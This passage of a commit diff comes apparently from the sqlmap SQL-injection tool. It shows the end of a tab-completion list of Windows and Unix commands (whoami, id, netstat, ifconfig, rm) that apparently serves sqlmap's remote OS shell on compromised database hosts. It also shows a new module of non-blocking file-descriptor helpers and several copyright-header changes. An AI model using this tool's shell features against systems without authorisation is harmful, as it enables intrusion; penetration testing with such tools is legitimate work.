"ver": None, "xcopy": None, "whoami": None,
|
||||
})
|
||||
|
||||
else:
|
||||
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
||||
completer = CompleterNG({
|
||||
"cp": None, "rm": None, "ls": None,
|
||||
"echo": None, "mkdir": None, "free": None,
|
||||
"mv": None, "ifconfig": None, "netstat -natu": None,
|
||||
"pwd": None, "uname": None, "id": None,
|
||||
})
|
||||
|
||||
readline.set_completer(completer.complete)
|
||||
readline.parse_and_bind("tab: complete")
|
||||
|
||||
89
lib/core/subprocessng.py
Normal file
89
lib/core/subprocessng.py
Normal file
@@ -0,0 +1,89 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import fcntl
|
||||
import errno
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
|
||||
if (sys.hexversion >> 16) >= 0x202:
|
||||
FCNTL = fcntl
|
||||
else:
|
||||
import FCNTL
|
||||
|
||||
|
||||
def blockingReadFromFD(fd):
|
||||
# Quick twist around original Twisted function
|
||||
# Blocking read from a non-blocking file descriptor
|
||||
output = ""
|
||||
|
||||
while True:
|
||||
try:
|
||||
output += os.read(fd, 8192)
|
||||
except (OSError, IOError), ioe:
|
||||
if ioe.args[0] in (errno.EAGAIN, errno.EINTR):
|
||||
# Uncomment the following line if the process seems to
|
||||
# take a huge amount of cpu time
|
||||
# time.sleep(0.01)
|
||||
continue
|
||||
else:
|
||||
raise
|
||||
break
|
||||
|
||||
if not output:
|
||||
raise EOFError, "fd %s has been closed." % fd
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def blockingWriteToFD(fd, data):
|
||||
# Another quick twist
|
||||
while True:
|
||||
try:
|
||||
data_length = len(data)
|
||||
wrote_data = os.write(fd, data)
|
||||
except (OSError, IOError), io:
|
||||
if io.errno in (errno.EAGAIN, errno.EINTR):
|
||||
continue
|
||||
else:
|
||||
raise
|
||||
|
||||
if wrote_data < data_length:
|
||||
blockingWriteToFD(fd, data[wrote_data:])
|
||||
|
||||
break
|
||||
|
||||
|
||||
def setNonBlocking(fd):
|
||||
"""
|
||||
Make a file descriptor non-blocking
|
||||
"""
|
||||
|
||||
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
|
||||
flags = flags | os.O_NONBLOCK
|
||||
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
Reference in New Issue
Block a user